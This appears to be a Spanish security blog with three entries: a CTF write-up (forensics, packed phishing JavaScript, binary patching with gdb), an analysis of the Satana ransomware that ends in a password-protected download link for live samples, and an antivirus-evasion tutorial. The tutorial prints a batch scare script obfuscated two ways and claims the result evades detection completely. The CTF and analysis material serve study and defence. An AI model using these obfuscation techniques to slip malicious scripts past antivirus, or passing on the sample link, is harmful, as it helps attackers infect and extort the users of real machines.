DCS17 Writeup

Buenas!

Esta entrada la dedicare a explicar como resolver los retos planteados en el CTF de Donostia CyberSec organizado por S21 sec.

Bueno, al lio.

Forense

Mexico – Matryoska (75 Puntos)

Enunciado: La bandera se encuentra en el fichero comprimido adjunto.

Una vez descargamos el adjunto nos encontramos con un fichero aparentemente comprimido que en su interior tiene un archivo de texto donde deberia estar la flag.

4cc6a14c43e23c3f90fdd846dd4aa374

Como no podemos ver el archivo, y captando la pista del nombre del reto “Matryoska” usaremos el comando binwalk -Me fichero, esto nos extraera de forma recursiva todos los archivos que contiene el fichero.

Cuando binwalk termina, nos ha generado una carpeta de output _nombredelfichero, solo tenemos que navegar hasta la ruta _flag_7c7e9a28dd25a2e2f81e1bfe7000aa52(1).txt.gz.extracted/_flag0.txt.extracted/_flag0.txt.extracted/_flag0.txt.extracted/_flag0.txt.extracted/_flag0.txt.extracted/_flag0.txt.extracted/_flag0.txt.extracted para encontrar la flag.

 

Colombia – Phishing (200 puntos)

Enunciado: Los siguientes ficheros forman parte de una campaña de phishing, ¿ Podrías localizar la bandera en su interior ?

los archivos que se nos proporcionan en esta ocasión son 2 del tipo html con un phishing de gmail.

Abrimos el primero y nos encontramos en la siguiente URL

En este punto ahy dos opciones, o vemos el codigo fuente, o si nos damos cuenta de que al final de la url asoma  un ‘<‘ nos desplazamos a ver que contiene.

Como vemos tiene un texto en base64, lo desciframos y obtenemos:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?”:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘3.2.i=”h g f j k”;n{(m(){5 1=3.2.l(\’1\’);1.d=\’c/x-4\’;1.9=\’8 4\’;1.b=\’\’;5 a=\’o\’;2.z(\’C\’)[0].p(1)}())}B(e){}3.2.E.G=”<6 F=\\”D://A.s–r-q.t\\” u=\\”y: 0;w: 7%;v:7%\\”></6>”;’,43,43,’|link|document|window|icon|var|iframe|100|shortcut|rel|segunda_mitad_flag|href|image|type||been|have|You|title|Signed|out|createElement|function|try|36d185c10a68b42d|appendChild|tmc|google|xn|com|style|height|width||border|getElementsByTagName|accounts|catch|head|http|body|src|outerHTML’.split(‘|’),0,{}))

Un script en JS, no pasa nada por no saber que hace el script, yo, sinceramente no tengo ni idea. La parte que nos interesa es la que esta marcada en rojo. Como vemos nos esta indicando “la segunda mitad de la flag”, como hay dos archivos, lo logico es que la otra mitad este en el otro html que nos dan.

Efectivamente, en el codigo fuente del otro fichero y buscando “flag” encontramos la mitad que nos faltaba

Argentina – TCP (115 Puntos)

Enunciado: Se ha conseguido una captura de tráfico de un equipo comprometido. ¿ Podrías localizar la bandera en dicha captura de tráfico ?

El archivo que nos dan es una captura de trafico, por tanto lo abriremos con wireshark.

Siguiendo la pista “TCP” que nos dan en el titulo del reto, miramos las tramas TCP, y en una de ellas encontramos el siguiente contenido

Etiopia – Forense (50 Puntos)

Enunciado: Estamos realizando una análisis forense de una unidad USB. ¿Cual de los siguientes ficheros ha sido copiado?

La pista que nos dan para este reto es una fotografia del explorador de archivos de windows.

En este caso la fuerza bruta es muy simple, o la respuesta es contactos.txt o servicios.txt, lo que deberia hacer que nos decantasemos por el archivo servicios.txt como respuesta es que la fecha de modificacion/acceso del archivo contactos.txt hace imposible que haya sido copiado a cualquiera de las carpetas mostradas, en cambio el archivo servicios.txt podria haberse copiado perfectamente a la carpeta “Nueva carpeta”.

Grecia – FTP (50 Puntos)

Enunciado. ¿ Cual es la password para acceder a los ficheros de este viejo AS/400 ?

Ahora nos vuelven a dar una captura de trafico, lo abriremos con wireshark.

En las primeras tramas del paquete encontramos una conexion a un servicio que se pone a la espera de un usuario y una contraseña, por tanto en las siguientes tramas debera hacerse el login, y lo que nos estan pidiendo como flag es la contraseña.

Efectivamente, un poco mas abajo tenemos lo que buscamos

Austria – Forense (75 Puntos)

Cameron trabajó en los 80s en una empresa de informatica. Cual era su lema? (En mayusculas y con espacios).

Nos dan un archivo comprimido con 7zip.

Una vez descomprimido el archivo tenemos el archivo card.image, para hacer analizar este fichero usaremos un programa llamado FTK imager.

Una vez abrimos la imagen, encontramos 5 fotografias en la carpeta root, lo que nos da la flag

Suecia -HTTP (125 Puntos)

Enunciado: ¿Sabrias decir el lema de este grupo de hackers? (Minisculas, mayusculas y puntuación tal como lo encuentres).

De nuevo tenemos que hacer un analisi de una captura de trafico, asi que la abriremos con wireshark.

Analizando las primeras tramas vemos que hace una conexion del tipo GET a una imagen y psoteriormente procede a su descarga

Por tanto es facil llegar a la conclusion de que en esa imagen estara la flag. Para ver la imagen ya que la conexion la hizo a una IP interna (192.168.187.1:80/hackers.jpg) es usar network miner a ver si nos la recupera.

Efectivamente nos recupera la imagen que contiene la flag.

Filipinas – Esteganografia (50 Puntos)

Hemos recibido esta imagen de un gran equipo de fútbol. Pero creemos que hay algo raro en ella…

La imagen que nos dan es la siguiente:

 

Real_993d44f0485d956a8d7d931b8d3a8e61.jpg

A simple vista no se ve nada raro en la imagen, por tanto vamos a analizarla mas a fondo.

Si usamos hexdump -C imagen podemos ver que en el EOF tiene algo cifrado en base64

El texto descifrado nos dara la flag.

Chad – Transmision (100 Puntos)

Enunciado: Hemos recibido esta transmisión de algún punto de Chad. ¡Ayúdanos a descifrarla!

Como pista nos dan un fichero de audio .wav con el nombre morse_*.wav por tanto nos dan el trabajo hecho, aunque al reproducirlo se escucha claramente el morse.

Si pasamos el mensaje por un decoder online obtenemos la flag.

Finlandia – Adjuntos en correo electronico.

Enunciado: Se ha recibido un correo electrónico con un fichero adjunto malicioso. En dicho fichero malicioso podrás encontrar la bandera.

Nos dan un archivo .xlsm (excel con macros) para evitar problemas de compatibilidad use el paquete de office para resolverlo.

Una vez lo abrimos y tras habilitar la edicion y habilitar las macros, nos encontramos con una hoja de excel vacia, como es un archivo con macros vamos a ver el codigo de las mismas con alt+f11

Como vemos ejecuta un comando de powershell, lo unico que nos falta es la variable “a”, que esta en la celda AA1 de la hoja ScriptKiddie101.

Como al abrirlo solo veiamos la Sheet1, se deduce que han ocultadola hoja que nos interesa.

Nos fijamos que en la ventana de ropiedades de la sheet que nos interesa, la propiedad “visible” esta marcada en 2 – very hidden, para poder verla y por tanto recuperar el contenido de la celda AA1 que corresponde a la variable “a”, le daremos la propiedad -1.

Si nos desplazamos hacia la derecha nos encontramos con lo siguiente

de la columna Z pasa directamente a la AB, y la que nos interesa es la columna AA y la celda 1. Para resolver este problema hacemos la busqueda de la celda manualmente, donde encontramos el codigo de la variable a

Basta con ejecutar la parte de la variable ‘a’ que esta entre los paréntesis a través del powershell ISE para obtener la flag.

Reversing

Camerún – Reversing

Hemos olvidado la contraseña de este fichero ¿Nos podrías ayudar a recuperarla?

Nos dan el fichero al que tenemos que hacer el reversing para obtener la flag.

Lo primero que tenemos que hacer tras descargar el archivo es darle permisos con chmod +x binario

Ejecutamos para ver el funcionamiento

Ya tenemos localizada la parte del fallo “Fallaste! (-.-)”

A continuación lo abrimos con radare2 y analizamos todo el binario con “aa”, posteriormente  desensamblamos el main con “pdf@sym.main”

Localizamos la zona de fail:

0x08048680      68e7870408     push str.Fallaste____.__ ; str.Fallaste____.__ ; “Fallaste! (-.-)” @ 0x80487e7

Localizamos la zona de contraseña correcta:

0x08048628      68b0870408     push str.Era_co__a._Lo_has_conseguido___Zorionak_ ; str.Era_co__a._Lo_has_conseguido___Zorionak_ ; “Era co..a. Lo has conseguido!! Zorionak!” @ 0x80487b0

Lo de era coña se refiere al contenido de unas posiciones mas arriba donde nos dice:

0x0804860b 689f870408 push str.Otra_vez_sera… ; str.Otra_vez_sera… ; “Otra vez sera…” @ 0x804879f

tras mostrarnos ese mensaje de “error” hace un sleep y posteriormente deberia mostrarnos la flag.

Otras lineas que nos deberian llamar bastante la atencion son:

0x080485e3 68409a0408 push str.DCS2017mola ; obj.paswd ; “DCS2017mola” @ 0x8049a40
| 0x080485e8 e843feffff call sym.imp.strlen
| 0x080485ed 83c410 add esp, 0x10
| 0x080485f0 83ec04 sub esp, 4
| 0x080485f3 50 push eax
| 0x080485f4 68409a0408 push str.DCS2017mola ; obj.paswd ; “DCS2017mola” @ 0x8049a40

Bien, llegados a este punto podriamos deducir que la contraseña es “DCS2017mola”, y efectivamente es esa, aun asi vamos a resolverlo modificando el flujo de ejecuccion (como prueba de concepto).

Para ello y dado que aun soy muy noob con radare, usare GDB con el plugin peda.

Una vez abrimos el programa con “gdb ./binario”, usamos pdisass main para desensamblar el main.

Localizamos la zona donde hace la comprobacion del input con la flag real

0x08048604 <+153>: test   eax,eax

En la linea siguiente y si lso datos no coinciden, salta a la direccion 0x0804867d , justamente la zona donde el programa nos dice que hemos fallado, por tanto vamos a saltarnos esa verificacion.

Para ello colocamos un breakpoint en 0x08048604 con b *main+153 y ejecutamos con run.

Vemos que se ha parado en la comprobacion y esta haciendo un string compare con el caracter “D” y nuestra password “test”. Como evidentemente D != t el salto nos llevaria a la zona de password incorrecta.

Para evitar esto hacemos next instruction (ni) y modificamos el instruction pointer a la siguiente direccion tras el salto que no queremos hacer  (set $eip=0x8048608)

Bien, pasamos la verificacion y nos da la flag, aunque evidentemente esta no es “test” es “DCS2017mola”.

Mauritania – Reversing

Nos ha llegado el siguiente ejecutable con un mensaje protegido por contraseña. ¿Nos podrías ayudar a obtenerlo?

Nos dan de nuevo un binario

Lo primero que hacemos tras descargarlo es darle permisos igual que antes, abrirlo para ver el funcionamiento, que en este caso es exactamente igual que el anterior y abrirlo con radare para analizarlo y desensamblarlo.

Localizamos la zona de chico malo

0x08048553 683c870408 push str.Fallaste____.__ ; str.Fallaste____.__ ; “Fallaste! (-.-)” @ 0x804873c

Y la de chico bueno

0x0804857c 68f4860408 push str.Probaremos_con_un_cifrado_mejor_la_proxima_vez._Zorionak__ ; str.Probaremos_con_un_cifrado_mejor_la_proxima_vez._Zorionak__ ; “Probaremos con un cifrado mejor la proxima vez. Zorionak!!” @ 0x80486f4

Igual que antes una zona nos deberia llamar la atencion

0x08048548      3a91a0990408   cmp dl, byte [ecx + str.A1_C3bK4_2h5f8vE]

En esta comparacion va a comparar nuestro input con el contenido en bytes del registro ecx concatenado con la string “A1_C3bK4_2h5f8vE”, si bien a esta zona en una primera ejecuccion no vamos a llegar, ya que antes nos encontramos con

0x08048543 eb20 jmp 0x8048565

Lo que nos lleva a una zona donde se comprueba de nuevo nuestra password

| | || 0x0804856b 80fa0a cmp dl, 0xa
| | `===< 0x0804856e 75d5 jne 0x8048545
| | | 0x08048570 80b8a0990408. cmp byte [eax + str.A1_C3bK4_2h5f8vE], 0
| | `==< 0x08048577 75cc jne 0x8048545

esta es la zona que tendremos que bypassear, para ello colocaremos igual que antes breakpoints en cada comparacion

0x0804856b

0x08048577

Si alguna de estas comparaciones diese falso saltariamos a la zona antes mencionada, y en caso de que la comprobacion diese falso, continuaria la ejecuccion hasta

0x08048560 eb7f jmp 0x80485e1

donde nos mandaria fuera de la zona de chico bueno.

Recapitulando, que la zona que nos interesa es esta:

Abrimos el binario con gdb y colocamos breakpoints en

0x0804856b y  0x08048577

Ejecutamos y nnos paramos en la primera comparacion

Next instruction, cambiamos el instruction pointer a la direccion 0x8048579 para bypassear la siguiente comprobacion y continuamos obtener la flag

Anuncios

Informe detallado sobre el ransomware “Satana”

**Esta entrada fue publicada originalmente en http://indeseables.github.io/**

Si hay un tipo de malware preferido por los cibercriminales, esa es la familia de los ransomware. Desde la aparicion a finales de 2013 del conocido como “virus de la policia” esta familia de malware no ha parado de crecer, dado que es facil de programar y rentable para los cibercriminales.

A continuacion procederé a analizar detalladamente un nuevo ransomware descubierto a finales de Junio y conocido como “Satana”. Las muestras en las que se basa el análisis de esta entrada son; 46bfd4f1d581d7c0121d2b19a005d3df Como muestra principal

https://virustotal.com/en/file/683a09da219918258c58a7f61f7dc4161a3a7a377cf82a31b840baabfb9a4a96/analysis/

d236fcc8789f94f085137058311e848b Como muestra de malware unpacked

1. Información de versiones

A día de hoy 12 de Julio de 2016, únicamente se ha distribuido una versión del código malicioso Satana.

2. Extensiones a cifrar

Satana cifra los archivos con extensión .bak .doc .jpg .jpe .txt .tex .dbf .db .xls .cry .xml .vsd .pdf . csv .bmp .tif .1cd .tax .gif .gbr .png .mdb .mdf .sdf .dwg .dxf .dgn .stl .gho .v2i .3ds .ma .ppt .acc .vpd .odt .ods .rar .zip .7z .cpp .pas .asm

3. Extension añadida a los archivos cifrados

Tras cifrar los archivos el malware cambia el nombre de los mismos con el formato __

68747470733a2f2f692e6779617a6f2e636f6d2f30346635326430343235313135663963663134303366323537616239643765652e706e67

4. Análisis dinámico del código malicioso

Tras la ejecución del binario malicioso este crea una copia de si mismo en %TEMP% con un nombre aleatorio y posteriormente borra el archivo original. Además crea un archivo de texto bajo el nombre de ¡satana!.txt también en %TEMP%. Una vez terminado este proceso ejecuta el archivo de nombre aleatorio creado en la carpeta temporal, el cual requiere al usuario permisos de ejecución como administrador. Cuando el usuario concede los permisos de ejecución, el malware crea 2 entradas en el registro de Windows.

68747470733a2f2f692e6779617a6f2e636f6d2f37643964663361373963313264663761353333383636623261616362663061342e706e67

La primera bajo el nombre de “BTC” contiene la dirección de bitcoin asociada a la cartera que debe recibir el pago La segunda bajo el nombre de “E-mail” contiene una dirección de E-mail, la misma que se muestra en el nuevo nombre de los archivos cifrados.

68747470733a2f2f692e6779617a6f2e636f6d2f38653163303761643630336339393265363931376434663433643039626637632e706e67

5. Ataque de bajo nivel

Este ransomware no actua en modo kernel, como si lo hacen otros como por ejemplo Petya.

6. Ataque de alto nivel.

Una vez el malware ha sido ejecutado simplemente se instala de forma silenciosa en el equipo y espera al reinicio del equipo (sin forzarlo) para mostrar el siguiente mensaje

68747470733a2f2f692e6779617a6f2e636f6d2f61623637656139333438623561363834346534336539303464653639393739662e706e67

*Es el mismo contenido que el del fichero ¡satana!.txt

7. Metodo de cifrado de archivos.

Satana divide los archivos en partes de 32 bytes que cifra de forma independiente para posteriormente juntarlas usando el método RTDSC (Read Time-Stamp Counter). El algoritmo de cifrado es una modificación de AES 256.

8. Llave de cifrado

Aparentemente la llave de cifrado es siempre la misma. Un mismo archivo siempre devuelve archivos cifrados idénticos.

9. Medidas de protección anti reversing en el payload.

El payload esta empaquetado, pero puede ser fácilmente desempaquetado usando un debugger como OllyDbg, basta con colocar un BP en RtlDecompressBuffer. Tambien impide la restauración del equipo a un punto anterior a la infección.68747470733a2f2f692e6779617a6f2e636f6d2f35383166626631366463366632346166366630613137303630333937376638312e706e67

10. Conexión con el C&C

El malware conecta con el C&C y envía la siguiente información en un paquete sin cifrar. id=7 &code=100 &sdata=5.1.2600 0 1 HOME User 0&name=payload.exe &md5=59E18B50B822020294A8EA0A4154C7597847B3A6359A08194F4865D804BD7E6 &dlen=66ABDE777F35E50F671B6034FA6453AD Este proceso muestra un grave fallo en el payload, ya que si en el momento de la infeccion el C&C esta offline la llave se pierde y los archivos no pueden ser recuperados.

12. Detecion con regla YARA

rule: Satana_Ransomware
{
meta:
Description = “Deteccion de ransomware Satana”
Author = “SadFud”
Date = “12/07/2016”

strings:
$satana = { !satana! } nocase

condition:
$satana
}

11. Conclusion

Observando el funcionamiento del programa y los fallos que tiene, es posible que esta solo sea una versión de prueba y que la verdadera campaña de infección masiva aun no haya comenzado.

12. Descarga de muestras

http://www27.zippyshare.com/v/WjzkYiPy/file.html

Contraseña:indeseables

Evasión de antivirus en archivos por lotes (batch)

En esta primera parte dedicada a la evasión de antivirus, haré las prueba con archivos batch, para las mismas usare este script, no por nada especial, si no porque es detectado por los antivirus como se demuestra en el siguiente scan:

0e37e39c086b3274fa7a88dd4229c169

Scan en virustotal

Ahi vemos que tiene 16 detecciones.

Antes de empezar con la parte practica estaría bien saber como funciona un antivirus, para ello recomiendo esta lectura.

El método que utilizaremos hoy, tal y como viene explicado en la web del Instituto nacional de ciberseguridad español es:

Ofuscación del código: Es la técnica más habitual y habitualmente se encuentra junto con el cifrado del código. Consiste en hacer que el código no sea legible, previniendo de esta forma la ingeniería inversa del código y por supuesto la detección por parte de los motores de antivirus. Básicamente convierte un código M en otro M’ sin perder funcionalidad y manteniendo el comportamiento. Algunas muestras de malware van un paso más allá y ofuscan todo su código utilizando mecanismos llamados packers, de forma que sólo es accesible una parte del código y se desempaquetan en tiempo real. Esta técnica se combina con la detección de entornos virtuales para evitar desempaquetar el malware en un entorno de sandbox para dificultar aún más la detección.

La ofuscación de código tiene múltiples variantes, incluyendo los polimorfismos y metamorfismos, además de multitud de mecanismos para realizarla sin perder la funcionalidad, pero esto es una historia de la que hablaremos otro día.

Bien, una vez que sabemos mas o menos como funcionan los métodos de detección de un antivirus, vamos a evadirlos.

Para ello he desarrollado una aplicación en .NET con 3 formas diferentes de evasión, sencillas a la vez que efectivas.

*Esta entrada esta escrita con fines educativos, en ningún momento incito a la infección con malware o busco hacer apología del delito.

3388451ddadf6572dcb52f584275bee7

 

Vamos a probar la primera opción que como bien pone en el programa va a generar cadenas aleatorias que sustituirán cada letra del codigo original. Este método de evasión es polimorfismo, es decir, cada código ofuscado sera diferente al anterior, dificultando en gran medida el estudio del malware por las compañías de antivirus.

Este es el nuevo código de nuestro malware

@echo off
set hysrphc=a
set ttcigip=b
set cmeozmn=c
set looefqh=d
set xcemwrj=e
set yjlnzdw=f
set vwbqqtr=g
set rapqfld=h
set houlchi=i
set erdehxi=j
set wjlnlsm=k
set epdwkxq=l
set zcyglpx=m
set tcjssjk=n
set gykgkjw=o
set twbqdih=p
set atrwzpc=q
set qqebimb=r
set qgsmxyk=s
set yqsooez=t
set bctabnl=u
set ugmfbhj=v
set jqpnofo=w
set dctzpyw=x
set lnkzhdk=y
set bofxibv=z
@%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% %gykgkjw%%yjlnzdw%%yjlnzdw%
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% WARNING VIRUS HAS BEEN DETECTED
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% S%lnkzhdk%%qgsmxyk%%yqsooez%%xcemwrj%%zcyglpx% %cmeozmn%%rapqfld%%xcemwrj%%cmeozmn%%wjlnlsm%
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% P%gykgkjw%%jqpnofo%%xcemwrj%%qqebimb% – FAILED
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% RAM – FAILED
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% N%gykgkjw%%qqebimb%%yqsooez%%gykgkjw%%tcjssjk% – FAILED
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% B%qqebimb%%xcemwrj%%hysrphc%%cmeozmn%%rapqfld% %gykgkjw%%yjlnzdw% IP %hysrphc%%looefqh%%qqebimb%%xcemwrj%%qgsmxyk%%qgsmxyk%
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% F%houlchi%%qqebimb%%xcemwrj%%jqpnofo%%hysrphc%%epdwkxq%%epdwkxq% – FAILED
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% V%houlchi%%qqebimb%%bctabnl%%qgsmxyk% %hysrphc%%yqsooez%%yqsooez%%hysrphc%%houlchi%%tcjssjk%%houlchi%%tcjssjk%%vwbqqtr%: ****-****-****-8894
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% H%hysrphc%%qqebimb%%looefqh% %looefqh%%qqebimb%%houlchi%%ugmfbhj%%xcemwrj% %zcyglpx%%bctabnl%%qgsmxyk%%yqsooez% %ttcigip%%xcemwrj% %xcemwrj%%qqebimb%%hysrphc%%qgsmxyk%%xcemwrj%%looefqh% %hysrphc%%tcjssjk%%looefqh% %qqebimb%%xcemwrj%%ttcigip%%gykgkjw%%gykgkjw%%yqsooez%%xcemwrj%%looefqh% %yqsooez%%gykgkjw% %qqebimb%%xcemwrj%%qgsmxyk%%bctabnl%%zcyglpx%%xcemwrj% %jqpnofo%%houlchi%%tcjssjk%%looefqh%%gykgkjw%%jqpnofo%%qgsmxyk%.
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
PAUSE
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% S%yqsooez%%hysrphc%%qqebimb%%yqsooez%%houlchi%%tcjssjk%%vwbqqtr% %yqsooez%%gykgkjw% %qqebimb%%xcemwrj%%ttcigip%%gykgkjw%%gykgkjw%%yqsooez% %rapqfld%%hysrphc%%qqebimb%%looefqh%%qqebimb%%houlchi%%ugmfbhj%%xcemwrj%.
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% D%gykgkjw% %tcjssjk%%gykgkjw%%yqsooez% %hysrphc%%yqsooez%%yqsooez%%xcemwrj%%zcyglpx%%twbqdih%%yqsooez% %yqsooez%%gykgkjw% %atrwzpc%%bctabnl%%houlchi%%yqsooez%.
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% R%xcemwrj%%qgsmxyk%%yqsooez%%hysrphc%%qqebimb%%yqsooez% %hysrphc%%yjlnzdw%%yqsooez%%xcemwrj%%qqebimb% 10 %zcyglpx%%houlchi%%tcjssjk%%bctabnl%%yqsooez%%xcemwrj%%qgsmxyk% %hysrphc%%twbqdih%%twbqdih%%qqebimb%%gykgkjw%%dctzpyw%%houlchi%%zcyglpx%%hysrphc%%yqsooez%%xcemwrj%%epdwkxq%%lnkzhdk%.
PAUSE
:START
%qgsmxyk%%yqsooez%%hysrphc%%qqebimb%%yqsooez% I%tcjssjk%%yqsooez%%xcemwrj%%qqebimb%%tcjssjk%%xcemwrj%%yqsooez% E%dctzpyw%%twbqdih%%epdwkxq%%gykgkjw%%qqebimb%%xcemwrj%%qqebimb%.%ttcigip%%hysrphc%%yqsooez%
GOTO START

Vamos a escanearlo y a ver los resultados:

cxjmzs2vtrlgdi90wkebe6xign3

Con este primer método conseguimos un payload 100% indetectable, tanto a nivel de scan como a nivel de proactivas y procedimientos heuristicos, al ser un archivo por lotes es mucho mas sencilla la evasion total. Esto ocurre con los lenguajes tipo script como batch y visual basic script.

Vamos a probar la segunda opción, que consistirá en generar variables basura entre cada carácter para confundir al antivirus. Este método, al tener igualmente el código en texto plano no nos deja un archivo totalmente indetectable:

4yadysmefl6fophmr

Este seria el nuevo codigo ofuscado:

%tvstlke%@%tywhgxt%e%ntidtrv%c%fbjclle%h%dkrmkbo%o%ppzjobv% %nkbthqa%o%vezdmwk%f%uceamjo%f%nzlzlec% %ptdxjpk%
%auihfrr%e%nmaceqs%c%slmklyz%h%zetwpfj%o%nnehbep% %ozlzypn%W%gaarpll%A%rsyrzmy%R%bylvnpr%N%ypjrxgx%I%crdtxpo%N%sjrimmd%G%ylfdcti% %iwsxlvl%V%zbpjuru%I%tstlokm%R%wrkagve%U%irshrvb%S%fnquvmr% %ddjlual%H%jkgadhb%A%jedeluv%S%tcfbzye% %wsofeia%B%yvnnptd%E%mjxovst%E%pthdhcg%N%wihwshf% %uihwewv%D%dbkcyat%E%mdusdfn%T%yrjzugp%E%zyqbxrc%C%wlgephx%T%rpudezj%E%idzzawo%D%fgisflo% %xyrbkgs%
%fejkilw%e%aretked%c%urpgrxq%h%hnptixc%o%ulhebwn% %aixkxdi%S%qfjpgah%y%rvxzwmq%s%zfycnsf%t%crzoabr%e%vvstzvp%m%rqyjcmg% %erynnmc%c%mcpngrq%h%iootwim%e%sdjgxla%c%sgnurzo%k%equipzf% %xzvghuo%
%vhdqgjy%e%hnlokkf%c%fhmydzk%h%umppxxg%o%maqfjry% %lhcmwfy%-%hqpcfxu% %ssumbzb%
%fkmgazd%e%rtcxxau%c%rbfblnt%h%fkqmymz%o%gxxdvxx% %firdbmh%P%jqkwvvi%o%tvxzjxb%w%pmvwtoh%e%uppyuxy%r%jgcmiun% %qjrizbs%-%heikwwh% %rybnqae%F%lpfqlsw%A%vzamswa%I%aoelnel%L%xkcyrub%E%vbvpriv%D%bhsezqm% %bbpiicf%
%kzqfvgo%e%npakbqk%c%pszslbn%h%krnbgtp%o%grthdkq% %ogsaoqq%-%mftbaff% %vywhujd%
%eafxanx%e%qpveqoz%c%rwcftam%h%oisilqi%o%jmgiaht% %glqllxk%R%xeuxbuy%A%pvcfgpc%M%xbupeug% %soqygmn%-%szfscym% %ylbyefm%F%ttxrmyj%A%sfiouls%I%pnzbrbd%L%qdomhom%E%qckgjap%D%uolswkb% %nseyvdz%
%jnkoyvq%e%woksjvm%c%lkgzrtm%h%alaysqw%o%kavltuk% %kdzyohz%-%wogmmhq% %pwhlecy%
%tptdsku%e%gvbbwlb%c%xeyczhv%h%ljbutfq%o%excjfai% %deoqsoi%N%fyfoqyq%o%qakymax%r%xhylwhn%t%jqobtie%o%pjwowop%n%wicquuj% %fenqgzs%-%wfdixur% %iyaigwe%F%ltjdggl%A%azdsbdf%I%fbwubmw%L%utkiqjl%E%bwzegqr%D%srpgdmf% %jwnsnio%
%dnruhbg%e%gmhjzly%c%lbmiutj%h%oiodncl%o%nyhtnrf% %muabhfk%-%mowfpsd% %cxcjrpy%
%fmmoxyv%e%hplwhkx%c%vdvxoin%h%rdbdkzo%o%ztawvfo% %edffxnp%B%glddbyc%r%pnnthcv%e%hmhinwj%a%cijbbpl%c%ggenhys%h%bksmwqe% %ryxitmi%o%pbgbyci%f%htokcxm% %ioclmje%I%kmcccux%P%dmmpjnk% %jyjumuk%a%effnunh%d%dsqlbbq%r%aahyzrb%e%bqviodk%s%bprdqpo%s%mlxwssl% %fqqcsmj%
%uaskfko%e%hbrorkk%c%wxnwyik%h%lyiuzgv%o%vnchaji% %vqgvvwx%-%olsqiqa% %ajohlrw%
%ecbzzas%e%rhjxdaz%c%irgzgwt%h%wwjqauo%o%pkjfmph% %orvmadg%F%qlnlyno%i%bmrvtqw%r%pekpspx%e%tdwyaxd%w%awdkedn%a%hvkmbjh%l%qrumnor%l%hskeejp% %skifnlc%-%dqvicov% %zhtfmfb%F%djngmns%A%mrwnmsv%I%zdprrrm%L%koblzup%E%btzwjqz%D%vkdzdjq% %xjtnvti%
%dzymqbt%e%gfahjlv%c%fwtyjzq%h%kcqnsgg%o%elijlan% %uuoooxi%-%xkytthf% %znwbesh%
%nbhckrx%e%jbmihiz%c%qqmbsny%h%warjtvz%o%fttqmzx% %nvdgsdr%V%zjtnjft%i%aqaomqh%r%xdqrdgc%u%thertyo%s%jvjmpvs% %hzsguks%a%zqaoyfw%t%hwsyxka%t%bjnhzch%a%vjytfwu%i%ifzhxwg%n%wdqsqvr%i%cagxmcm%n%sxtcvzm%g%tnhnklu%:%axhpcrj% %ejiboav%*%xnbgout%*%lxeocsy%*%fjibclg%*%ouzauqv%-%dvuywof%*%nkolwrs%*%mnszreh%*%gidveyk%*%yrfuwss%-%wznevid%*%ifvbzij%*%gzwlsxp%*%ouvvxdy%*%nszsxqd%-%gohrwlq%8%iiypuwy%8%tkdzqyg%9%gcwtpxh%4%lahcwgn% %supoamx%
%gcazmld%e%hpgqkwb%c%zpwjbsz%h%kitjktm%o%ungmywf% %refjinl%-%vhzliwc% %lzmzxtr%
%rbbvnaw%e%bmnpwcz%c%sqlbfyj%h%mhodara%o%pgfsrcs% %bgozccp%H%yclmgtf%a%wtfcgha%r%czcsooq%d%ctywxbj% %mraskfs%d%phjxppp%r%rkifaar%i%fytggzi%v%ijdvsju%e%pycodou% %nydopdj%m%wqfujhi%u%fspkpmb%s%rherfnd%t%solsiyr% %pacwaom%b%leqvpgy%e%bsvqldc% %ywekqsc%e%qnmtvng%r%ytectsk%a%tgzlvlr%s%nhkycee%e%adllteq%d%nacwmdb% %uxscikw%a%kufgrhw%n%kktrhte%d%sutuyzu% %vguflif%r%oknlkcd%e%kfubntu%b%xgufytq%o%fslfryf%o%cdklhpb%t%lseyiso%e%lvimcgd%d%ygpzagu% %qoqysbc%t%oxzirqn%o%acggvru% %yxiqogz%r%nblhieu%e%fplwuyn%s%ewxdhmm%u%afktqei%m%lhpemgq%e%yziylgr% %kiypihj%w%krbtwuh%i%yamdjtn%n%zmsvgel%d%yxmvmtv%o%cffogcw%w%mlsruep%s%jbroevv%.%nelpfem% %cwyeubb%
%jynakih%e%audchdv%c%koxfbht%h%efaiwzk%o%ooveddo% %teadylz%-%qaxqcbp% %oqrhcpk%
%uxowlxa%P%urkatjt%A%dpmxgnc%U%gevcmxz%S%ihujwib%E%dgjtrad% %zgpzore%
%hvoszxe%e%fvpslmt%c%oorzfqs%h%xqbplul%o%jeqwbvn% %klxxfhb%-%hyoawxw% %ccbaloi%
